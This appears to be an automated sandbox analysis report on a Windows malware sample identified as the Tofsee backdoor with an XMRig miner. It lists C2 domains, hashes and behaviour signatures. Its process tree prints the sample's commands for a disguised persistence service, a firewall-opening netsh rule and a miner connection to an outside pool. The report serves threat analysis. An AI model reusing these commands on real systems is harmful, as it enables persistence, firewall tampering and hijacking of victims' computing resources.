Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/01/2023, 03:09

General

  • Target
    file.exe
  • Size 196KB
  • Sample230122-dnfk1agg8x
  • SHA256 4072ff7e7fef21f8e1116af13029f44047892b33cd23e532e9b76ccecc674041
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tjfogzi\
      2⤵
        PID:4836
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qwjexerm.exe" C:\Windows\SysWOW64\tjfogzi\
        2⤵
          PID:2644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tjfogzi binPath= "C:\Windows\SysWOW64\tjfogzi\qwjexerm.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1112
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tjfogzi "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4008
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tjfogzi
          2⤵
          • Launches sc.exe
          PID:536
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4424
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2240 -s 1048
          2⤵
          • Program crash
          PID:2876
      • C:\Windows\SysWOW64\tjfogzi\qwjexerm.exe
        C:\Windows\SysWOW64\tjfogzi\qwjexerm.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4432
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3028
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1192
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4432 -s 516
          2⤵
          • Program crash
          PID:4892
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2240 -ip 2240
        1⤵
          PID:1836
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4432 -ip 4432
          1⤵
            PID:1464

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                qwjexerm.exe

                • Path C:\Users\Admin\AppData\Local\Temp\qwjexerm.exe
                • Size 11.7MB
                • SHA256 8b6e63b0c3b7317964b9930d116894758dbf1b255a6fe9a32dd4aa42f1e1273b
                • MD5 SHA1 SHA512 SSDEEP

                qwjexerm.exe

                • Path C:\Windows\SysWOW64\tjfogzi\qwjexerm.exe
                • Size 11.7MB
                • SHA256 8b6e63b0c3b7317964b9930d116894758dbf1b255a6fe9a32dd4aa42f1e1273b
                • MD5 SHA1 SHA512 SSDEEP

                memory/1192-173-0x0000000000630000-0x0000000000721000-memory.dmp

                memory/1192-178-0x0000000000630000-0x0000000000721000-memory.dmp

                memory/2240-135-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/2240-132-0x0000000002D40000-0x0000000002D53000-memory.dmp

                memory/2240-133-0x0000000002C80000-0x0000000002C93000-memory.dmp

                memory/2240-144-0x0000000002C80000-0x0000000002C93000-memory.dmp

                memory/2240-143-0x0000000002D40000-0x0000000002D53000-memory.dmp

                memory/2240-145-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/3028-157-0x0000000000770000-0x0000000000776000-memory.dmp

                memory/3028-169-0x00000000017F0000-0x00000000017F7000-memory.dmp

                memory/3028-166-0x0000000006F00000-0x000000000730B000-memory.dmp

                memory/3028-152-0x0000000000120000-0x0000000000135000-memory.dmp

                memory/3028-153-0x0000000000120000-0x0000000000135000-memory.dmp

                memory/3028-154-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/3028-147-0x0000000000120000-0x0000000000135000-memory.dmp

                memory/3028-160-0x0000000000780000-0x0000000000790000-memory.dmp

                memory/3028-163-0x00000000017E0000-0x00000000017E5000-memory.dmp

                memory/4432-151-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4432-150-0x0000000002EC9000-0x0000000002EDC000-memory.dmp